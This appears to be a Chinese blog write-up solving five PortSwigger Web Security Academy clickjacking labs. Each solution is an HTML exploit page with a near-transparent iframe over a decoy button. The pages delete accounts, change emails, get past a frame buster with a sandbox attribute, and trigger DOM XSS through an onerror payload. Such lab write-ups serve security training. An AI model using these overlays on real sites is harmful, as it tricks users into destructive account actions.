Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing)
1 - Basic clickjacking with CSRF token protection
题目描述
- 登陆后可以删除账号,但是该功能点有csrf token保护
要求
- 让受害者删掉自己的账号
解题过程
因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)
<head>
<style>
#target_website {
position: relative;
width: 1280px;
height: 400px;
opacity: 0.0000000000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:575px;
left:100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
click
</div>
<iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
</iframe>
</body>
2 - Clickjacking with form input data prefilled from a URL parameter
题目描述
- 没啥描述的
要求
- 利用预填充来修改用户邮箱
解题过程
访问
/my-account?email=asd@asd.asd,发现邮箱被预填充进页面构造恶意页面,钓鱼(借助上一题的代码)
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:525px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
3 - Clickjacking with a frame buster script
题目描述
- 这个lab被frame buster保护着
要求
- 修改受害者邮箱
解题过程
材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)
但是
iframe指定sandbox为allow-forms或者allow-scripts,且忽略allow-top-navigation会使iframe中的网页不知道自己是否是最顶层网页构造exp
<head>
<style>
#target_website {
position: relative;
width: 400px;
height: 600px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:505px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
</iframe>
</body>
4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS
题目描述
- 把Dom based XSS和Clickjacking结合起来
要求
alert(document.cookie)
解题过程
首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来
构造exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.00000001;
z-index: 2;
}
#decoy_website {
position:absolute;
top:805px;
left:100px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
</iframe>
</body>
5 - Multistep clickjacking
题目描述
- 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
要求
- 让受害者删除自己的账号
解题过程
多了个对话框。。。相比实际场景,不需要动态显示就很简单了
上exp
<head>
<style>
#target_website {
position: relative;
width: 1000px;
height: 1000px;
opacity: 0.0000001;
z-index: 2;
}
#decoy_website_1 {
position:absolute;
top:495px;
left:60px;
z-index:1;
}
#decoy_website_2 {
position:absolute;
top:285px;
left:190px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website_1">
Click me first
</div>
<div id="decoy_website_2">
Click me next
</div>
<iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
</iframe>
</body>
Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
- Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
随机推荐
- WooYun-2016-199433 -phpmyadmin-反序列化-getshell
文章参考 http://www.mottoin.com/detail/521.html https://www.cnblogs.com/xhds/p/12579425.html 虽然是很老的漏洞,但在 ...
- CF995E Number Clicker (双向BFS)
题目链接(洛谷) 题目大意 给定两个数 \(u\) , \(v\) .有三种操作: \(u=u+1(mod\) \(p)\) . \(u=u+p−1(mod\) \(p)\) . \(u=u^{p−2 ...
- Django 使用 pycharm 创建新的app(可以理解为模块)
创建工程的时候,注意选择Existing interpreter 选择对应的 python 解释器,电脑如果安装有多个版本的 Python 的话,注意python版本的问题, 以上即是创建的项目目录, ...
- C指针与二维数组
先贴上完整的代码: #include<stdio.h> int main(int argc, char *argv[]){ int a[3] [5]={1,2,3,4,5,6,7,8,9, ...
- 看了 Spring 官网脚手架真香,也撸一个 SpringBoot DDD 微服务的脚手架!
作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 为什么我们要去造轮子? 造轮子的核心目的,是为了解决通用共性问题的凝练和复用. 虽然 ...
- 【关系抽取-R-BERT】定义训练和验证循环
[关系抽取-R-BERT]加载数据集 [关系抽取-R-BERT]模型结构 [关系抽取-R-BERT]定义训练和验证循环 相关代码 import logging import os import num ...
- PTA 数组循环右移
6-2 数组循环右移 (20 分) 本题要求实现一个对数组进行循环右移的简单函数:一个数组a中存有n(>)个整数,将每个整数循环向右移m(≥)个位置,即将a中的数据由(a0a1⋯ ...
- [源码解析] 并行分布式框架 Celery 之架构 (2)
[源码解析] 并行分布式框架 Celery 之架构 (2) 目录 [源码解析] 并行分布式框架 Celery 之架构 (2) 0x00 摘要 0x01 上文回顾 0x02 worker的思考 2.1 ...
- SqlServer存储过程的创建与使用
什么是存储过程? T-SQL中的存储过程,非常类似于net语言中的方法,它可以重复调用.当存储过程执行一次后,可以将语句缓存中,这样下次执行的时候直接使用缓存中的语句. 这样就可以提高存储过程的性能. ...
- 对于api接口的爬虫,通常的解决方法
对于api接口的爬虫,通常的解决方法: 依靠爬虫功能的IP库 SDK 源站用不同的状态码进行打标,用户登录账号,登录成功返回200,登录失败返回其他状态码.